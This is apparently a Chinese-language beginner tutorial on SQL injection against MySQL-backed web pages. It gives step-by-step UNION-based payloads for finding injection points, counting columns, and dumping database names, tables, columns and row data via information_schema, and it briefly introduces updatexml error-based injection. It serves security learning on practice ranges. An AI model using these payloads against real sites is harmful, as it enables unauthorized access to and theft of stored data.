仅学会1' or 1='1 ,就有不少小菜鸟认为自己已经掌握了sql注入,迫不及待的拿着它去实战,却发现除新手入门级靶场-pikachu-master,没有那个网站搭理我们。
原来1' or 1='1 准确的说是sql注入万能公式,是一种最常见的注入模式,学会它在十年前还能碰运气,到现在早就补丁上加补丁,别想学会它能怎么样,最多当成判断sql注入测试字符串使用。
不想转行只能继续学习。。。
1.union联合注入:
它利用 sql语句中的 union操作符来合并两个或多个 SELECT 语句的结果集,并返回给应用程序,用来绕过应用程序的正常查询逻辑来执行未授权的查询。
步骤:
1.1 判断注入点,构造传参值
-> ?id=1
- SQL数据库查询语句: selecft * from users where id = ?
- ?是一个参数占位符,用于防止SQL注入。
- ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。
Get:注入点在IP地址处。
post注入点在数据提交框内,需抓包
1.1.1
-> ?id=1' 报错
?id=1' --+ 正常
字符型sql注入,闭合方式'
1.1.2
-> ?id=1" 报错
?id=1 " --+ 正常
字符型sql注入,闭合方式"
1.1.3
-> ?id=1" 报错
?id=1 --+ 正常
数字型sql注入.
特殊类:"(","=","+"具体方式具体判断。
-- +是一个get传参时的 sql 注释,用于忽略原始查询中剩余的部分。
#是一个post传参时的 sql 注释,用于忽略原始查询中剩余的部分。
1.2 ?id=1' order by 1--+
猜测行数,有返回信息,没有报错。
1.3 union联合注入
1.3.1 爆库(database)
? id = 1' union select database(), user() ,version()--+;
union select database(), user() ,version()检索数据库的名称(database())、当前数据 库用户的名称(user())、以及MySQL的版本(version())。
1.3.2 爆表(table)
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- +
- 原始查询:id = '-1' 错误的执行语句,用来输出'后的语句。
- union 合并两个或多个SELECT语句的结果集,这里它被用来添加一个新的查询,试图从information_schema.tables表中检索数据库名下所有表的名称, 并使用group_concat函数将它们连接成一个单一的字符串输出,由于union要求每个select语句中的列数必须相同,且相应列的数据类型也必须兼容,因此通过在新查询中选择两个虚拟值(1,2)来匹配可能的原始查询结果集中的列数。
- group_concat()函数用于将多个表名合并为一个字符串返回。
- information_schema是MySQL的一个特殊数据库,包含了所有其他数据库的信息,如表名、列名等。
1.3.3 爆列
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' -- +
- 原始查询:id = '-1' 错误的执行语句,用来输出'后的语句。
- union 合并两个或多个SELECT语句的结果集,这里它被用来添加一个新的查询,
这个查询从information_schema.columns表中检索指定数据库(table_schema)和表(table_name)中的所有列名,并使用group_concat函数将这些列名连接成一个单独的字符串输出,由于union要求每个select语句中的列数必须相同,且相应列的数据类型也必须兼容,因此通过在新查询中选择两个虚拟值(1,2)来匹配可能的原始查询结果集中的列数。
- group_concat()函数用于将多个表名合并为一个字符串返回。
- information_schema是MySQL的一个特殊数据库,包含了所有其他数据库的信息,如表名、列名等。
1.3.4 爆数据
?id=-1' union select 1,2,group_concat(列1, 列2 )from 表名 -- +
- 原始查询:id = '-1' 错误的执行语句,用来输出'后的语句。
- 通过union操作符,绕过正常的查询逻辑,添加一个新的SELECT语句,指定了要从表名中选择的列1,列2中匹配数据并输出。
2.函数报错注入 (不常用)
updatexml()函数
在sql注入中updatexml函数经常被用来触发错误消息。
通过构造恶意的SQL查询,使得UPDATEXML函数接收到格式不正确的XML数据,它会返回一个错误,这个错误通常包含了触发错误的XML表达式的一部分。可以利用这一点,并在这个错误消息中捕捉到数据库的敏感信息